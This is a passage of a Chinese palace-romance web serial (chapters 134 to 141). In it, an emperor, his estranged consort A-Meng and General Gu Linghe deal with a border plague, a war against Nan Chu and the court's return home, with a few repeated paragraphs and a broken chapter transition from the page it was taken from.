为何阿孟宁愿舍弃一切,也要来到边关?甚至不惜改头换面,隐姓埋名。
“是朕对她不够好?还是朕错待了她?”他轻声自问,眉头紧锁成川。
正当他思绪万千之际,帐外传来轻微的脚步声。
阿孟掀开帐帘走了进来,手中捧着一个药箱,面色清冷。
她朝墨司渊行了一礼,声音平稳无波:“皇上,草药已经备好,我要去医帐分发药汤了。”
“等等。”墨司渊叫住她,声音比自己预想的要急切,“你就这么急着离开朕?”
阿孟止步,却未回头:“将士们病情危急,耽搁不得。”
“那朕呢?”墨司渊几步上前,直视她的双眼,“朕在你心中,可有半分地位?”
阿孟眼中闪过一丝复杂,却很快隐去:“皇上何必明知故问?过去的事,不提也罢。”
“朕要听你亲口说。”墨司渊逼近一步。
“您曾经有过。”阿孟终于正视他,眼中是难以掩饰的痛楚,“在您利用我,杀光我满门之前。”
墨司渊心头一震:“朕那时身处险境,不得不——”
“不得不?”阿孟冷笑一声,打断他的话,“是啊,为了您疼爱的谢贵妃,牺牲我全家又算什么呢?”
“阿孟…”
墨司渊沉默良久,终于低声道:“朕别无选择。”
“人总是有选择的,皇上。”阿孟转身欲走,“就像我选择离开,选择来边关救人。”
“所以你就选择了顾凛鹤?”墨司渊突然问道,语气中带着刻意的讽刺,掩饰不住内心的嫉妒。
阿孟停下脚步,转过身来,眼中满是失望:“您还是不懂。我没有选择任何人,我只是选择了自己想做的事。”
说完,她头也不回地走出了营帐,留下墨司渊一人站在灯影摇曳中,身形孤寂。
三日后的清晨,阵阵铃声惊醒了军营。
墨司渊立于主帐之中,手指轻敲着檀木案几。帐外传来急促的脚步声,周海匆匆进来禀报:“皇上,暗卫回来了,但线索又一次断了。”
“又断了?”墨司渊眉头一皱,手指猛地拍向案几,“这已经是第三次了。”
周海低头不敢言语。墨司渊起身踱步,眼中寒光闪烁:“传朕旨意,召顾将军与阿孟速来议事。”
不多时,阿孟与顾凛鹤联袂而至。阿孟手持医案,顾凛鹤则携带着边关地图。两人进帐行礼后,墨司渊径直开门见山:“军中有内鬼。”
顾凛鹤神色不变:“皇上何出此言?”
“三批暗卫,三次线索断裂,巧合过头便是阴谋。”墨司渊冷声道,“朕怀疑有人在暗中破坏调查。”
阿孟放下医案,声音平静:“请皇上明示,如何严查?”
两人早已呈上瘟疫的证据,如今有皇帝授权,对他们二人来说,继续调查便方便至极。
墨司渊看了她一眼,心头微动。自从那日争执后,阿孟对他一直保持着疏离,公事公办的态度。
“从今日起,瘟疫调查由你二人负责,直接向朕汇报。”墨司渊沉声道,“任何人不得干涉,违者严惩不贷。”
顾凛鹤与阿孟对视一眼,轻轻颔首。
墨司渊注意到那一瞬间的默契,心中酸涩难言。
“臣遵旨。”顾凛鹤拱手应道,随即铺开地图,“已有线索都指向此处,但每次追查至关键处便戛然而止。”
阿孟接过话头:“这不寻常。若只是普通瘟疫,不会有人如此处心积虑地阻挠调查。”
她翻开医案,指着其中几页:“这些药引的
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来源极为可疑,都指向京城几家大药铺,而这些药铺的背后…”
“是朝中权贵。”墨司渊接过她的话,眼中闪过一丝锐利,“谁这么大胆,敢在朕来边关时仍然肆意妄为?”
阿孟轻叹一声:“他们或许正是因为皇上亲临,才更加急切地想要阻止真相大白。”
顾凛鹤点头附和:“边关瘟疫若非人为,便无需如此费心阻挠。”
三人陷入沉默,各自思索。帐内烛火摇曳,映照出三张凝重的面容。
阿孟忽然皱眉:“若再这样下去,瘟疫恐怕会继续扩散。现有药方只能缓解症状,却无法根治。”
她焦急地握紧手中医案:“如果找不到真正源头,再多的将士都会枉死!”
顾凛鹤轻轻按住她的手,声音温润如玉:“阿孟别急,我们一定能查清真相。”
“我答应过你,一定会保护好你和将士们。”他低声道,眼中满是坚定,“无论付出多大代价。”
墨司渊冷眼旁观二人互动,心中妒火难抑。他猛地起身,打断两人对话:“边关事务一旦了结,孟贵妃必须随朕回宫。”
阿孟抬头直视墨司渊,却未答话。
“若阿孟不从,顾爱卿就等着被削职问罪吧。”墨司渊冷冷补充道,眼中闪过一丝残忍。
阿孟心头一震,下意识看向顾凛鹤。顾凛鹤神色不变,只是淡然一笑:“臣愿受罚,不会连累阿孟。”
“顾将军!”阿孟急声道。
“无妨。”顾凛鹤轻轻摇头,“眼下当务之急是查明瘟疫真相,其他事宜,以后再议。”
阿孟深吸一口气,转向墨司渊:“皇上,待边关事了,我自有决断。但现在,请容我全力查案救人。”
“准了。”墨司渊最终点头,“但记住朕的话,别妄想逃脱。”
阿孟没有回应,只是与顾凛鹤对视一眼,两人默契地收拾文案,准备离去。
看着他们肩并肩走出营帐的背影,墨司渊攥紧了拳头。他能察觉到阿孟的两难——既想为将士们讨回公道,又不愿与顾凛鹤分离。
这种感觉,让他既愤怒又无力。
第135章 以毒攻毒
次日清晨,阿孟匆匆赶往军医营帐。
帐内弥漫着浓重的药草气息,十余名士兵躺在简陋的草铺上,面色灰败。
阿孟挽起袖口,轻步走向最里侧的伤员,俯身为他诊脉。
“这方子用了三日,效果却不如预期。”阿孟蹙眉,指尖在病人手腕上细细感受。
身旁的随军医官低头道:“回娘娘,病症确实有所缓解,但不彻底。”
阿孟松开病人的手腕,起身站在药案前沉思。
她翻开医案,指尖在几味药材名称上轻轻点过。
“这瘟疫非比寻常,常规方法已然不足。”她拿起笔,快速在纸上写下几味药材,“我有一个新方子,或可一试。”
正在她专注记录时,帐帘被掀开,墨司渊带着一股凛冽寒气步入。
众军医慌忙跪地行礼,只有阿孟仍专注于笔下方子。
墨司渊走至她身侧,目光扫过医案:“新方子?”
“是。”阿孟头也不抬,继续写着,“常规治法难以根除病灶,我欲尝试一种新配方。”
墨司渊接过她笔下的方子,眉头渐渐紧锁:“天南星、乌头、马钱子?这些都是剧毒之物。”
“用药如用兵,以毒攻毒。”阿孟终于抬头,目光坚定,“这瘟疫来势汹汹,非寻常手段可解。”
墨司渊冷哼一声:“孟方意,你这是要害死这些将士不成?朕不准。”
“皇上未曾**医,怎知其中奥妙?”阿孟语气平静却坚决,“这些药材虽有剧毒,但经特殊炮制后,毒性去七分,只留药性。正可对症下药。”
“不可。”墨司渊毫不退让,“朕岂容你在军中拿将士性命做赌注?”
“非是赌注,而是必然。”阿孟迎上他的目光,“臣妾已在三位重症患者身上试过,皆有明显好转。”
墨司渊眼中闪过一丝诧异:“你私自试药?”
“为救人性命,臣妾愿担责任。”阿孟语气坚定,“若皇上不信,可随我去看那三位伤员。”
墨司渊沉默片刻,随后点头:“带路。”
阿孟领着他穿过几排病榻,来到角落一处隔离区域。三名士兵原本面色灰败,此刻却已能坐起饮粥。
“三日前,他们已命在旦夕。”阿孟轻声道,“用了新方后,毒热渐消,精神好转。”
墨司渊目光在三位士兵身上扫过,面色略有松动:“即便如此,此方未经大范围验证,风险太大。”
“风险?”阿孟冷笑一声,“比起坐视他们死去,尝试救治才是人臣本分。”
“皇上若真关心边关将士,”她直视墨司渊的眼睛,“就该放手让我试一试。”
片刻沉默后,顾凛鹤掀帘而入:“皇上,娘娘,出事了。”
墨司渊与阿孟同时转头。
“又有三十名士兵发病,情况紧急。”顾凛鹤眉头紧锁,“再这样下去,前线将无人可守。”
阿孟急切地看向墨司渊:“皇上,事不宜迟,请准我用新方。”
墨司渊看着阿孟坚定的眼神,一时间竟不知如何决断。
“若出了差错,你担得起责任?”他终于开口,眼底却因她的倔犟而闪过几分焦躁。
阿孟毫不犹豫:“一命抵一命,若有差池,臣妾愿以命担之。”
“无需如此。”顾凛鹤上前一步,声音坚定,“新方若有风险,我愿与娘娘共同承担。边关将士命在旦夦,救人要紧。”
那种无形的默契与信任,是墨司渊与阿孟之间早已荡然无存之物。
“顾爱卿倒是护得周全。”墨司渊冷笑一声,目光如刀剐向顾凛鹤,拳头握的更紧,“边关大局牵系万千,岂能因一已之意轻易冒险?若药方有误,数万将士何以为继?”
顾凛鹤眉头微皱,却不卑不亢:“皇上明鉴,非是臣一己之私。娘娘医术精湛,三位重症将士已有明显好转,此乃事实佐证。臣相信阿孟的判断。”
“相信?”墨司渊语气陡然冰冷,“朕也曾相信她,可她却假死潜逃。顾爱卿这般信任她,不怕重蹈朕的覆辙?”
阿孟静静立在一旁,看着两人针锋相对。营帐内气氛凝滞如冰。
“皇上,”阿孟上前一步,“这方子确为万不得已之举,但
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我已反复推敲,有九成把握。若皇上实在不信,可先在少数病重之人身上试用。”
墨司渊看着她,如今这双眼中竟只剩下决然与坚毅,为的却是与自己无关之人。
他抓起桌上的药方用力一挥:“既然顾爱卿如此相信你,那朕就姑且应允。但记住,若有半分差错,朕绝不会饶了你,顾凛鹤!”
“臣妾明白。”阿孟眼神坚毅,郑重点头。
顾凛鹤随之拱手行礼:“皇上英明。”
军医帐外,摇曳着几盏悬挂的灯笼,阿孟连日来一直守在患者身边,亲自熬药、喂药、诊脉,面容憔悴却依然神采奕奕。
这夜,她正为一名重症士兵擦汗,顾凛鹤掀帘而入,手中捧着一碗热腾腾的粥。
“已是三更天,你该歇息了。”顾凛鹤将粥放在一旁的小案上,声音低沉而温和。
阿孟摇头,手上动作不停:“这几名病人正是关键时刻,不能有半分疏忽。”
“你若倒下,他们更无人照料。”顾凛鹤执起她的手,眉间满是担忧,“吃些东西,我替你守着。”
阿孟勉强一笑,接过粥碗:“多谢将军挂念。”
帐外,周海将这一幕尽收眼底,悄无声息地退开,匆匆向主帐而去。
墨司渊正在案前批阅奏折,听闻脚步声抬起头来:“如何?”
“回皇上,”周海低声禀报,“贵妃娘娘与顾将军正在医帐,二人…”
“二人如何?”墨司渊猛地起身,眼中杀气暗涌。
周海战战兢兢:“二人相谈甚欢,顾将军亲自为娘娘送去了晚膳,还…”
“还什么?”墨司渊握紧拳头,怒火中烧。
“还唤娘娘直呼其名,娘娘亦应允了。”
墨司渊将手中奏折狠狠砸在案上,墨迹飞溅:“好一对璧人!”
“传朕旨意,”他恨得咬牙切齿道,“从今日起,非经朕允许,顾凛鹤不得擅入医帐!”
周海领命而去,墨司渊独自立在灯下,眼中寒光闪烁。
次日清晨,阿孟刚为病患换完药,就见周海带着几名侍卫在帐外候着。
第136章 斩杀南楚人
“娘娘,”周海恭敬行礼,“皇上有旨,顾将军今后不得擅入医帐,需经皇上允许方可进入。”
阿孟手中的药碗差点跌落:“皇上这是何意?医帐人手本就不足,顾将军助我照料伤患,分担甚多。”
“圣意难违,娘娘见谅。”周海低头道,“皇上说,若医帐人手不足,他会派御医前来协助。”
阿孟面色一沉,放下药碗,整理好衣袖:“我这就去见皇上。”
墨司渊正在练剑,听闻阿孟求见,嘴角勾起一丝冷笑。只见她快步入帐,神色间难掩怒意。
“皇上,”阿孟行礼后直奔主题,“为何不许顾将军入医帐?”
墨司渊收剑入鞘,冷冷地看着她:“朕的贵妃,何必如此挂念一个臣子?”
“我不是挂念他,是担心伤患!”阿孟毫不退让,“医帐人手短缺,顾将军助我照料,减轻了不少负担。”
“哦?”墨司渊走近她,目光如刀,“那朕问你,你对顾凛鹤,究竟是何感情?”
阿孟一怔,随即昂首直视:“皇上何必明知故问?我与顾将军,不过是志同道合之交,同为边关将士分忧而已。”
“志同道合?”墨司渊冷笑,“你当朕不知你们私下如何亲密?你是朕的贵妃,他唤你阿孟,这便是你所谓的志同道合?”
阿孟心头一震,没想到竟被人监视。她深吸一口气,稳住心神:“皇上若是因此小题大做,未免太过小人之心。眼下边关疫情紧急,还请皇上以大局为重。”
话罢,阿孟甩手离去,不再应声,独留墨司渊一人在帐中,怒吼着掀了桌上竹简。
他不信,自己握不住阿孟的心!
夜深人静,顾凛鹤在营帐外遇到了偷偷出来的阿孟。月光下,她面容疲惫却依然美丽。
“墨司渊不许你再入医帐。”阿孟轻声道,眼中满是歉意。
顾凛鹤轻叹一声:“我已知晓。”他递给她一个小包裹,“这是我托人从山中采来的几味药,或许对你的方子有用。”
阿孟接过包裹,手指不经意与他相触,一丝暖意流过心间:“多谢。”
“阿孟,”顾凛鹤突然认真起来,颇为忧虑阿孟日后的处境,“待边关事了,你…”
“别说了。”阿孟打断他的话,“眼下救人要紧,其他…日后再说。”
顾凛鹤点点头,十分理解:“我明白。无论你做何选择,我都尊重。”
“阿孟,”顾凛鹤突然认真起来,“待边关事了,你…”
“别说了。”阿孟打断他的话,如今她心中只有边关将士安危。生怕其他事分了自己的心神,“眼下救人要紧,其他…日后再说。”
顾凛鹤点点头,眼中满是理解:“我明白。无论你做何选择,我都尊重。”
寒风卷起一片落叶,打着旋儿消失在了夜色中。
翌日,营地上空阴云密布。
“大人!审出结果了!”
一名侍卫匆匆闯入主帐,单膝跪地。墨司渊放下手中奏章,眉峰一挑。
“说。”
“那南楚探子招了,说这瘟疫乃是他们蓄谋已久。”
墨司渊眸光一冷,起身踱步至帐前。
“带朕去见他。”
审讯营帐内,几名南楚探子被绑在木柱上,浑身血迹斑斑。周海立于一侧,见墨司渊到来,恭敬行礼。
“皇上,他们已经招供。这瘟疫是南楚人在边境水源中下毒,为的就是削弱我军战力。”
墨司渊冷冷扫过几名俘虏,在其中一人面前站定。
“这是你们将领的命令?”
“是…是的。”那人声音颤抖,“一切都是将军的意思,与我们无关啊!”
“解药呢?”墨司渊声音如冰。
“没…没有解药。”探子结结巴巴道,“将军说…只要毒发,便无药可救…”
墨司渊眼中杀意骤现,猛地抽出腰间佩剑,寒光一闪,一名探子的头颅已落地。鲜血喷溅,其余俘虏惊恐万分,连连求饶。
墨司渊置若罔闻,一剑又挥向第二人。
“既无解药,留你们何用?”
连杀数人后,他方才住手,剑尖直指仅存的探子,嘴角勾起一抹残忍的笑意:“剩下的人,拖出去砍了,悬首示众。”
“皇上息怒!”周海跪地**,“是否再留几人审问,或许
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能得到更多情报?”
墨司渊冷哼一声:“南楚狼子野心,竟敢用如此卑劣手段暗害我我朝将士!”他猛地将剑插回剑鞘,转身大步走出帐外,“传令下去,三日后出兵讨伐南楚!”
消息很快传遍军营,将士们群情激奋。
顾凛鹤闻讯立即赶往主帐,单膝跪地:“皇上,末将**,愿为先锋,为我我朝将士讨回公道!”
墨司渊居高临下地看着他:“顾爱卿,你不是喜欢陪着孟贵妃研制解药吗?怎么,舍得离开她了?”
顾凛鹤神色不变:“边关将士染病,皆因南楚奸计。若不彻底铲除祸患,再多解药也是治标不治本。末将请战,正是为了不负娘娘对将士们的恩德。”
“好一个冠冕堂皇的理由。”墨司渊冷笑,“准了。三日后,你为先锋,率三千精兵先行一步。”
“臣领旨。”顾凛鹤起身告退。
夜幕降临,医帐内灯火通明。阿孟正在为一名伤患换药,听闻身后脚步声,回头见是顾凛鹤,眼中闪过一丝惊喜。
“将军怎么来了?皇上不是下令——”
“我来向你告别。”顾凛鹤打断她的话,声音低沉,“三日后,我将率军出征南楚。”
阿孟手中的药碗差点跌落:“出征?为何这么突然?”
“南楚探子已招供,瘟疫是他们蓄意为之。”顾凛鹤眼中闪过一丝寒光,“皇上震怒,下令讨伐,我**为先锋。”
阿孟放下药碗,走到顾凛鹤面前:“你明知这是墨司渊的试探,为何还要自请出战?”
“因为我必须去。”顾凛鹤握住她的手,“南楚若不除,边关将永无宁日。我不能眼看将士们白白牺牲。”
阿孟低头看着被他握住的手,心中百感交集:“我明白你的选择,只是…”
“只是什么?”
“只是担心你。”阿孟抬头,眼中满是担忧,“南楚诡计多端,你一定要小心。”
顾凛鹤紧了紧手中的力道:“我会平安归来。你也要保重,墨司渊对你…”
“我知道。”阿孟轻轻点头,“我会小心应对。你放心,我不会让他得逞。”
第137章 凯旋而归
帐外突然传来脚步声,两人迅速分开。
阿孟快速整理衣袖:“将军此去,必当旗开得胜,为我我朝将士讨回公道。”
顾凛鹤会意,拱手行礼:“定不负娘娘期望。”
帐帘掀开,周海走了进来,看了两人一眼:“皇上宣顾将军议事。”
顾凛鹤点头,转身离去前,最后看了阿孟一眼,眼中满是不舍与担忧。
三日后,酝酿已久的战事终于爆发。
边关风沙肆虐,顾凛鹤一身戎装,手持长刀率军冲锋。他的战袍已被鲜血染红,却浑然不觉,只知一往无前。
“将军小心!”身旁副将高呼一声。
顾凛鹤侧身避过一支利箭,却未能完全躲开,箭锋擦过他肩膀,血色瞬间晕染开来。
他咬牙切齿,不顾伤痛,劈倒面前敌兵。
“杀——”顾凛鹤高举长刀,声嘶力竭地呐喊,带领将士冲向敌阵。身上旧伤未愈,新伤又添,他却恍若未觉。
不远处的高地上,墨司渊冷眼旁观这一切。
“皇上,顾将军身先士卒,已杀入敌军中军,只是…”周海欲言又止。
墨司渊目光如电:“只是什么?”
“顾将军似乎身受旧伤复发,属下担忧他…”
“担忧他坚持不住?”墨司渊冷笑一声,眼中闪过一丝复杂,“若他死在战场,边关少了一员大将,却也少了朕的一个心腹大患。”
周海不敢接话,只低头作揖。墨司渊沉思片刻,突然道:“传令下去,派三百精锐助他一臂之力。”
“皇上仁德。”周海忙应声而去。
墨司渊目光复杂地望着战场中那道奋不顾身的身影,心中五味杂陈。
没了顾凛鹤,阿孟或许就会回到自己身边。
可若顾凛鹤战死,边关防线必受重创,我朝也将损失一位良将。
“可恨!”墨司渊握紧拳头,指甲深深陷入掌心。
战场之上,顾凛鹤浑身浴血,左肩的伤口已然裂开,鲜血不断渗出。他的面色愈发苍白,眼中却迸发出惊人的战意。
他猛地勒马,转向疾驰而来的援兵,高扬手中长刀:“兄弟们,为我朝,为边关将士,杀!”
众将士齐声呐喊,气势如虹。
墨司渊远远望着这一幕,嘴角露出一丝复杂的笑意。
为了胜利,他暂时放下了个人情感,却不曾忘记那份刻骨的嫉恨。
“顾凛鹤,”墨司渊低声自语,“就这一次,朕助你。”
他转身下令:“传令三军,全力出击!”
战鼓声震天动地,大周军队如潮水般涌向南楚阵营。
顾凛鹤身先士卒,长刀所向,敌军纷纷溃败。
南楚将领见势不妙,急忙下令撤退,却已为时已晚。
“冲啊!为我大周将士报仇!”顾凛鹤声嘶力竭,带领将士们一路追击。
墨司渊策马上前,亲自指挥中军,将南楚军队团团围住。
他眼中寒光闪烁,手起刀落,斩杀数名敌军。
“皇上神勇!”周海在一旁赞叹。
墨司渊冷哼一声:“南楚狼子野心,今日必让他们付出代价。”
战至日落,南楚军队终于支撑不住,主将跪地求饶:“皇帝饶命!我等愿降!”
墨司渊居高临下,冷冷道:“你们用毒害我朝将士,今日投降,未免太晚。”
“皇上明鉴!”南楚主将叩首不止,“此事乃我一人之过,与其他将士无关。我愿以死谢罪,只求皇上饶过我军将士性命。”
墨司渊沉默片刻,看了一眼满目疮痍的战场,终于点头:“准了。你随朕回京受审,其余人暂且饶命。”
三日后,大军凯旋。
边关百姓夹道欢迎,欢呼声不绝于耳。阿孟站在城门处,看着远处尘土飞扬的军队,心中既喜悦又忐忑。
“娘娘,大军回来了!”一名小侍女兴奋地喊道。
阿孟点头,目光在人群中搜寻着那个熟悉的身影。
当她看到顾凛鹤骑在马上,虽然面色苍白却安然无恙时,紧绷的心弦终于松懈下来。
墨司渊策马上前,看到阿孟的第一眼,他翻身下马,大步走向她。
“皇上凯旋,臣妾恭迎。”阿孟行礼道。
墨司渊伸手扶起她:“**将士们如何?”
“回皇上,”阿孟语气平静,如同禀报公务,“瘟疫已经控制住了。新方子果然有效,大部分将士都已脱离危险。”
顾凛鹤也走了过来,向两人行礼:“皇上,娘娘。”
阿孟看向他,此时眼中流露出关切:“将军伤势
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如何?”
“多谢娘娘挂念,不过是些皮外伤,不碍事。”顾凛鹤微微一笑。
墨司渊冷眼旁观两人互动,心中妒火中烧。
他突然拽住阿孟的手腕:“朕亲征南楚,为边关将士报仇雪恨,你就没有什么要对朕说的吗?”
阿孟微微一怔,随即恭敬道:“皇上英明神武,吉人自有天相,臣妾自是欣喜万分。”
墨司渊眼中闪过一丝失望与愤怒。这样客套的话语,与她对顾凛鹤的关切相比,简直如隔千山万水。
“好一个吉人自有天相。”墨司渊冷笑一声,眼中妒火中烧,隐忍不发,“朕记得你对顾爱卿可不是这般客套。”
阿孟面色不变:“皇上乃九五之尊,自有天命护佑。顾将军不过是臣子,战场凶险,关切几句也是人之常情。”
“人之常情?”墨司渊声音陡然提高,“那朕问你,若是朕与顾凛鹤同时落难,你会先救谁?”
周围顿时鸦雀无声,众人低头不敢言语。
顾凛鹤面色一变,正欲开口,阿孟已先一步回答。
“皇上乃一国之君,臣妾自当先救皇上。”阿孟声音平静,眼中却闪过一丝复杂,“这是臣子的本分。”
墨司渊听闻此言,嘴角浮现出一抹冷笑,眼中却燃起怒火。
“本分?”墨司渊步步逼近,声音压得极低,“孟方意,你说的好冠冕堂皇。若真是本分,你当初又为何背离朕?”
他突然抬手,下意识想扼住阿孟的手腕,众人屏住呼吸。
阿孟却不退反进,竟是苦笑一声,眼神坚定如铁。
“皇上想做什么?”她缓缓侧过脸,让毁容的伤疤完全暴露在日光下,“再给臣妾添些新伤吗?”
“你这是何意?”墨司渊手臂一僵,怒火更盛,“以为这样就能让朕心软?让朕心疼你吗?痴心妄想!”
“臣妾不敢。”阿孟平静相对,唇角噙着一丝若有若无的讽刺,“只是提醒皇上,臣妾早已习惯了皇恩浩荡。”
她的平静比任何反抗都更让墨司渊难以忍受。他猛地收回手,眼中闪过一抹懊恼与不甘。
“军中有疫患未除,皇上不宜久留。”阿孟垂眸行礼,仿佛刚才什么都没发生,“臣妾告退,继续为将士们诊治。”
第138章 折返回京
顾凛鹤望着阿孟的背影,忍不住跟了上去:“阿孟!”
阿孟闻声停下,转身看向顾凛鹤:“将军可是有什么话要跟我交代么?”
“我只是担心你。”顾凛鹤压低声音,“皇上方才如此盛怒,你可要小心。”
阿孟淡然一笑:“多谢将军关心。我已习惯了。”她看了一眼四周,轻声道,“我们还是尽快为将士们医治吧。”
五天后,医帐内。
贺景行正在熬制药汤,闻声抬头,看到阿孟疲惫地走进来。
“你这是要累垮自己吗?”贺景行递过一杯热茶,“昨夜我听守夜的小兵说,你又一夜未眠。”
阿孟接过茶杯,啜了一口:“多谢师父关心。这些日子多亏有你相助,否则我一人怕是难以应对。”
“哎,谁叫我心软呢?”贺景行摇头叹气,语气却带着几分得意,“不过好消息是,最后几名重症患者已无大碍,再有三五日便可痊愈。”
阿孟眼中终于露出一丝欣慰:“太好了。”
就在此时,帐外传来急促的脚步声,周海掀帘而入:“娘娘,皇上宣您去主帐议事。”
阿孟放下茶杯,整理了一下衣袖:“我这就去。”
主帐内,墨司渊正在翻阅奏折,见阿孟进来,放下手中竹简:“边关瘟疫可有好转?”
“回皇上,”阿孟行礼道,“多亏贺景行的协助,瘟疫已基本控制住,再有数日,所有患者便可痊愈。”
墨司渊面色稍缓:“很好。既如此,朕已决定,三日后班师回朝。”
阿孟心头一震,却面不改色:“臣妾遵旨。”
“还有,”墨司渊看向她,眼中闪过一丝复杂,“回京后,你便回宫居住。朕不希望再听到任何你与顾凛鹤私下来往的消息。”
阿孟沉默片刻,缓缓抬头:“皇上,臣妾有一请求。”
“说。”
“边关将士多有伤患,返京途中恐有变故。”阿孟声音平静,“请允臣妾与贺景行同车,以便照料伤者。”
墨司渊冷笑一声:“你倒是处处为这些将士着想。准了。”
待阿孟离开主帐,贺景行已在外等候。见她出来,连忙迎上前:“皇上说了什么?”
“三日后班师回朝。”阿孟轻声道,眉宇间掠过一丝忧色,“我已**与你同车照料伤患,皇上应允了。”
贺景行了然:“你担心回京后再无自由?”
阿孟苦笑:“你倒是了解我。”
“那顾将军呢?”贺景行忍不住问道。
阿孟叹息一声:“恐怕今后难有见面之机。”
正说话间,顾凛鹤从远处走来,见二人正在交谈,拱手行礼:“阿孟,贺神医。”
贺景行会意,借故离开:“我去看看药汤熬得如何了。”
待贺景行走远,顾凛鹤才低声道:“听说皇上下令三日后回京?”
阿孟点头:“是。”
顾凛鹤眼中闪过一丝不舍:“阿孟,我有句话,不知当讲不当讲。”
“将军但说无妨。”
顾凛鹤深吸一口气:“末将知道自己身份卑微,不敢有非分之想,只是……我愿一生守护娘娘周全。”
阿孟心头一颤,却不由得摇了摇头:“将军,你我皆知这不可能。”她看向远处的天际,“京城深似海,我们……还是珍重自身为好。”
顾凛鹤握紧了拳头,眼中满是不甘与无奈:“只是我心中……”
“无需多言。”阿孟打断他,声音低沉而坚定,“你不必趟这趟浑水,将军保重,我们……后会有期。”
顾凛鹤想再说什么,却终究咽下了到嘴边的话语。他深知她的处境艰难,而自己除了徒增烦忧,别无他法。
“我明白了。”他勉强一笑,退后两步。
阿孟颔首回礼,转身离去。
她每一步都走得坚定,却感觉心中有什么在一点点碎裂。
启程前夕,军营灯火稀疏。
顾凛鹤披星戴月来到阿孟的医帐外,迟疑片刻后,他终于掀开帘子。
帐内只剩阿孟一人,正在收拾药箱。听到脚步声,她回头望去,一时间两人相对无言。
“娘娘,”顾凛鹤终于打破沉默,“边关风
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大,我特意让人备了这件披风,明日启程可用得上。”
阿孟垂眸看着那件深蓝色披风,手指轻轻抚过上面绣的行云流水。这哪是什么风大,分明是他的一片心意。
“多谢将军好意。”她接过披风,却不敢与他对视,“我会珍藏。”
顾凛鹤踌躇半晌,终于鼓起勇气:“阿孟,我虽不能随你入宫,但我心中始终……”
“将军!”帐外突然传来周海的声音,打断了顾凛鹤的话,“皇上口谕,命娘娘即刻前往主帐!”
阿孟身形一僵,眼中闪过一丝怒意。她抬头看了看顾凛鹤,又望向帐外的周海。
周海似乎察觉到气氛不对,赔笑道:“娘娘,皇上已等候多时,恐怕——”
“恐怕什么?”阿孟冷笑一声,手指突然拔下头上银钗,径直抵在自己的颈侧,“告诉墨司渊,我假死过一次,不在乎再真死一次!”
钗尖已在她颈上划出一道细细的血痕。
周海脸色煞白,连忙后退一步:“娘娘息怒!臣这就去禀报皇上!”
说罢,他匆匆转身离去。
顾凛鹤上前一步,声音里带着几分惶急:“阿孟,你这是何必?”
阿孟手中的银钗未曾移开,眼中却闪过一丝决然:“一月前我便死过一次,如今他若再逼我,我便死个彻底。”
“阿孟,别这样。”顾凛鹤轻声劝道,“你若有个三长两短,边关将士怎么办?”他顿了顿,“我又该如何。”
帐内一时沉寂。
阿孟手渐渐放下,钗尖移开颈间。她深吸一口气,眼中怒火未消:“此去京城,我不会再任他摆布。”
夜风掀动帐帘,似有叹息。
顾凛鹤望着她倔强的侧脸,心中既是担忧又是钦佩。
他轻声道:“无论如何,保全自身为先。”
阿孟收起银钗,指尖轻抚颈间那道浅浅的血痕:“我已死过一次,再无所惧。”
主帐内,周海匆匆赶回,单膝跪地:“皇上,娘娘她……”
“她如何?”墨司渊猛地拍案而起,眼中寒光闪烁。
第139章 宴会对峙
周海额头渗出冷汗:“娘娘说……说她假死几次,不在乎再真死一次。”
“她敢!”墨司渊怒极,一掌拍碎了案前玉杯,碎片四溅。他起身便要往外走,周海慌忙拦住。
“皇上息怒!”周海低声劝道,“娘娘此举怕是被逼急了。若皇上此时前去,只怕……”
“只怕什么?”墨司渊冷冷盯着他。
周海咽了口唾沫:“只怕娘娘一时想不开,真做出什么傻事来。”
墨司渊踱步至帐前,握紧的拳头青筋暴起:“她竟敢以死相胁!”
“皇上,”周海小心翼翼道,“眼下班师在即,不如暂且忍耐。回京后,娘娘入宫,自然由皇上掌控,何必在此与她置气?”
“娘娘毕竟是为边关将士尽心尽力,”周海低声道,“若皇上此时强行召她,恐怕军中将士心生不满。”
墨司渊
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眼
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loadBookInfo(37, 1950520, 26402091,''废妃出宫第三年,皇上悔断肠'');
第140章 赠礼
“孟贵妃此言差矣,”谢妤冷笑道,“边关将士得救,乃是皇上神威所致,你不过是奉命行事,何德何能独揽功劳?”
阿孟不与谢妤争辩,只是看向墨司渊:“皇上若认为臣妾有罪,大可降罪。臣妾无悔。”
墨司渊看着阿孟坚定的眼神,心中竟有一丝动摇。
他挥了挥手:“今日是庆功宴,不谈这些。孟贵妃刚回宫,想必劳累,可先行退下。”
谢妤闻言,脸色顿时难看起来:“皇上,宴席才开始,孟贵妃怎能——”
“好了!”谢妤驳了墨司渊的面子,他只能柔声打断她的话,“朕自有决断,孟贵妃且去吧。”
阿孟行礼告退,转身离去时,嘴角勾起一抹不易察觉的冷笑。
谢妤望着阿孟的背影,眼中满是怨毒。
她端起酒杯,一饮而尽。
“贵妃莫要跟她置气
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第141章 赐茶
谢妤一愣,继而冷笑:“你这是跟本宫炫耀来了?你以为本宫会稀罕那些东西?”
“那娘娘何必生气?”阿孟抬眼直视谢妤,眼中闪过一丝锋芒,“皇上赏赐,臣妾不敢不受;娘娘教诲,臣妾也不敢不听,只是……”
“只是什么?”谢妤逼问。
“只是臣妾觉得,娘娘如此关心臣妾,怕是心中有什么顾虑吧?”阿孟语气温和,话中却藏针。
谢妤面色一变:“你什么意思?”
“没什么意思。”阿孟微微一笑,“臣妾只是感慨,娘娘身为贵妃,又有皇嗣在身,却还要亲自管教臣妾这样的卑微之人,实在是……大材小用了。”
谢妤端起茶盏,杯壁在她指间微微颤动。
她本想借机羞辱阿孟,没想到反被对方暗讽。
“孟贵妃,你可真是风光啊。”谢妤放下茶盏,眼中闪过一丝阴毒,“皇上的赏赐都快堆成山了,你这苔蘅殿怕是要被压垮了吧?”
谢妤冷笑一声,手指轻敲桌面,目眦欲裂:“本宫只是觉得奇怪,你一个毁了容貌的女人,为何还能得皇上如此厚待?”
阿孟心中怒火翻腾,面上却不动声色:“娘娘此言差矣。臣妾在边关尽心尽力,所得不过是皇上怜悯之举。”
“怜悯?”谢妤站起身来,走到阿孟面前,居高临下地盯着她,“你当皇上是什么人?他若真怜悯你,当初就不会让你毁容!”
这话戳中阿孟心中痛处,她手指微微攥紧,却依旧保持着恭敬的姿态:“娘娘教训得是。”
谢妤见她这般隐忍,更是来气,声音骤然拔高:“听说你在边关与顾将军走得很近,是不是背着皇上做了什么见不得人的勾当?”
“娘娘!”阿孟终于抬头,目光如刀,“臣妾敬您是贵妃,才恭听教诲。但这等污言秽语,还请娘娘慎言!”
